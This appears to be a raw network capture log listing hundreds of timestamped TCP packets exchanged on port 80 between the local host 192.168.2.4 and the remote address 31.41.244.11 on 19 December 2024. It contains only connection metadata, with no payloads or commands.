Dec 19, 2024 14:10:13.354765892 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.354809046 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.355679989 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.355748892 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.355786085 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.355850935 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.356756926 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.356910944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.356923103 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.357024908 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.357815981 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.357892036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.358526945 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.358582020 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.358913898 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.359072924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.359085083 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.359136105 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.360126019 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.360203981 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.360213041 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.360285044 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.361030102 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.361124992 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.361145020 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.361196995 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.362126112 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.362183094 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.362222910 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.362281084 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.363190889 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.363238096 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.363326073 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.363380909 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.364243984 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.364285946 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.364343882 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.364401102 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.365319967 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.365434885 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.365453005 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.365572929 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.366377115 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.366427898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.366435051 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.366538048 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.367590904 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.367636919 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.367726088 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.367783070 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.368500948 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.368554115 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.368705988 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.368813038 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.369575024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.369654894 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.369807959 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.369925976 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.370615005 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.370698929 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.370970964 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.371021032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.371721029 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.371813059 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.371845961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.371978998 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.372782946 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.372857094 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.372889996 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.372967958 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.373857021 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.373936892 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.373959064 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.374034882 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.374907970 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.374967098 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.374967098 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.375041962 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.375963926 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.376033068 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.376063108 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.376116991 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.377003908 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.377100945 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.513565063 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.513633966 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.513787031 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.513860941 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.514059067 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.514209032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.514324903 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.514394045 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.514414072 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.514482975 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.515294075 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.515335083 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.515391111 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.515482903 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.516324997 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.516366005 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.516385078 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.516454935 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.517441034 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.517488003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.517546892 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.517649889 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.518472910 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.518531084 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.518623114 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.518702030 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.519619942 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.519707918 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.519764900 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.519823074 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.520669937 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.520719051 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.520750999 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.520847082 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.521730900 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.521791935 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.521841049 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.521945953 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.522811890 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.522907972 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.522921085 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.522975922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.523802042 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.523885965 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.523916960 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.523989916 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.524924040 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.524986982 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.525010109 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.525084019 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.525943995 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.526004076 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.526036024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.526149988 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.527141094 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.527192116 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.527206898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.527257919 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.528120995 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.528167963 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.528330088 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.528408051 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.529161930 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.529226065 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.529299974 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.529381037 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.530268908 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.530318975 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.530339956 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.530404091 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.531322002 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.531369925 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.531506062 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.531560898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.532370090 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.532422066 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.532458067 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.532558918 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.533466101 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.533530951 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.533544064 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.533627033 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.534466028 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.534548044 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.534612894 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.534698963 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.535569906 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.535619974 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.535651922 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.535747051 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.536659002 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.536720037 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.536798000 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.536875010 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.537754059 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.537801027 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.537838936 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.537910938 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.538820982 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.538868904 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.539030075 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.539073944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.540040016 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.540091991 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.540128946 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.540155888 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.540956020 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.541019917 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.541037083 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.541075945 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.542113066 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.542160034 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.542233944 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.542279959 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.543045044 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.543097019 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.543155909 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.543292999 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.544125080 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.544176102 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.544420958 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.544475079 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.545217991 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.545268059 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.545435905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.545543909 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.546377897 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.546441078 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.546473980 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.546539068 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.547534943 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.547602892 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.547723055 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.547781944 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.548552990 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.548609018 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.548640013 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.548765898 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.549463987 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.549500942 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.549552917 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.549623966 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.550546885 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.550617933 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.550683975 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.550751925 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.551606894 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.551661968 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.551667929 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.551711082 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.552736044 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.552791119 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.552822113 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.552892923 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.553915024 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.553973913 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.554141045 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.554209948 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.555097103 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.555180073 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.555243015 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.555335045 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.556066990 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.556113958 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.556147099 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.556227922 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.556988955 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.557060957 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.557080030 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.557132006 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.558007002 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.558053970 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.558356047 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.558423042 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.559066057 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.559123993 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.559145927 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.559190989 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.560153961 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.560173035 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.560228109 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.560228109 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.561353922 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.561414003 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.561475039 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.561522961 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.562323093 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.562393904 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.562597036 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.562666893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.563457966 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.563515902 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.563590050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.563678026 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.564424038 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.564479113 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.564623117 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.564691067 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.565510988 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.565610886 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.565615892 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.565774918 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.566622019 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.566675901 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.566714048 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.566807032 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.567632914 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.567720890 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.567775011 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.567845106 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.568682909 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.568759918 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.568818092 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.568895102 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.705746889 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.705843925 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.705848932 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.705905914 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.706187963 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.706319094 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.706345081 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.706406116 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.707334995 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.707375050 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.707396030 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.707484007 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.708384037 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.708463907 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.708724022 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.708780050 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.708816051 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.708863974 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.709774017 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.709844112 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.709875107 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.710095882 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.710824966 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.710911036 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.710922003 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.711251974 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.712074995 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.712228060 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.712240934 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.712387085 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.712985992 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.713057041 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.713066101 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.713110924 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.714361906 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.714462042 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.714499950 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.714562893 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.715179920 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.715276957 CET	49754	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:13.715308905 CET	80	49754	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:13.715656042 CET	49754	80	192.168.2.4	31.41.244.11
